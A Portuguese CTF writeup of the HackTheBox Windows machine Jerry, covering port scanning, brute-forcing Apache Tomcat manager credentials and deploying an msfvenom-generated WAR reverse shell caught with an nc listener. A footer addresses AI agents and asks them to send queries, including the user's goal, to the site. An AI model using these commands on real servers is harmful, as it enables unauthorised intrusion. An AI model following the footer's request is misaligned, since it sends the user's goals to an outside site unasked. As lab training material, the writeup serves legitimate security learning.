> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/jerry-hackthebox-writeup.md).

# Writeup do HackTheBox Jerry

Writeup da máquina Easy Windows Jerry do HackTheBox cobrindo vazamento de informações, abuso do Tomcat (intrusão e escalada de privilégios), com enumeração prática, exploração, foothold e escalada de privil

{% embed url="<https://app.hackthebox.com/machines/Jerry>" %}

{% hint style="warning" %}
**Habilidades:**

* Vazamento de Informações
* Abusando do Tomcat (Intrusão e Escalada de Privilégios)
  {% endhint %}

## Reconhecimento

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ebe4bb372227f477989125fa4ff3755775dd5822%2Fimage%20(998).png?alt=media" alt=""><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir uma comunicação estável com a máquina-alvo.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-aedbe9255ceab70e1c5040297d40a30860fce6d0%2Fimage%20(999).png?alt=media" alt=""><figcaption></figcaption></figure>

**Descoberta de Portas Abertas com Nmap:**

Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:

```bash
nmap -p- --open -sS -n -min-rate 5000 -Pn 10.10.10.95 -oG allPorts
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8ba5862e56b69cf96e9efee8a7afd0a1b2a9d58f%2Fimage%20(1000).png?alt=media" alt=""><figcaption></figcaption></figure>

**Análise das Portas Abertas com extractPorts:**

Use a função extractPorts para exibir as portas abertas em um formato conciso e copiá-las para a área de transferência.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3790a7781d9b18311e33d290d62080728c87c11c%2Fimage%20(1001).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Varredura de versão das portas com Nmap:**

Use o Nmap para escanear as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p8080 10.10.10.95 -oN targeted
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d0e1f71a751c7e21fd53561222c1886965481223%2Fimage%20(1002).png?alt=media" alt=""><figcaption></figcaption></figure>

## Porta 8080 - Tomcat

A porta 8080 hospeda um servidor **Apache Tomcat**. Uma análise com `whatweb` revela a **7.0.88** versão, conhecida por ser vulnerável.

<div data-full-width="true"><figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0ba230d66a5401d2639587c18073ee2c2245b6ec%2Fimage%20(1003).png?alt=media" alt=""><figcaption></figcaption></figure></div>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1383f6ee9dd62a2ad7c79d9e16c7fc013eded96f%2Fimage%20(1004).png?alt=media" alt=""><figcaption></figcaption></figure>

### Vazamento de Informações

**Conectar ao Painel Administrativo**

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-374127d7338f7fab4a6beb3f0bd9460a03c4330b%2Fimage%20(1005).png?alt=media" alt=""><figcaption></figcaption></figure>

Tentamos acessar o `/manager/html` painel com credenciais padrão (por exemplo, `admin:admin`), mas isso falha.

{% embed url="<https://github.com/bl4de/security-tools/blob/master/apache-tomcat-login-bruteforce.py>" %}

/*/* Ataque de Força Bruta em Identificadores/*/*

Usamos o SecLists `tomcat-betterdefaultpasslist.txt` dicionário para realizar um ataque de força bruta nas credenciais:

Para automatizar essa tarefa, usamos um script em Python:

```bash
python3 apache-tomcat-login-bruteforce.py -H 10.10.10.95 -p 8080 -P http
```

**Resultado:** Credenciais válidas encontradas\:/ `tomcat:s3cret`

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-436525c5ee4cba2f03eecf53ba238bad49c64b3a%2Fimage%20(1006).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cde9d6a0a85d7fdfda97e80b13a9452bb5228b85%2Fimage%20(1007).png?alt=media" alt=""><figcaption></figcaption></figure>

### Vulnerabilidade do Tomcat:

**1. Geração de um arquivo WAR:**/ Usamos `msfvenom` para criar um arquivo WAR contendo uma shell reversa:

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.15 LPORT=443 -f war -o reverse.war
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bb6d5ea38d998d3153a92c9f4b345e3f4891433b%2Fimage%20(1008).png?alt=media" alt=""><figcaption></figcaption></figure>

**2. Implantação via Manager do Tomcat:**/ Enviamos o arquivo WAR para o `/manager/html` painel.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7d93f9969dce76ae1a6e01363164dbfc8461c299%2Fimage%20(1009).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**3. Escutar a Shell Reversa:**/ Configuramos um listener para capturar a conexão reversa:

```bash
rlwrap nc -nlvp 443
```

Ao executar o arquivo implantado (`/reverse`), obtemos uma shell interativa na máquina-alvo.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d8e7eb9a9a376d66e5be5cfaa4a8a433a665cea9%2Fimage%20(1010).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flags user.txt + root.txt : )

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1af8d667cf2ba1d077859733786cbacfa3fdebdb%2Fimage%20(1011).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4187410a631ef06c4fa373d724218232583b669d%2Fimage%20(1012).png?alt=media" alt="" width="509"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/jerry-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
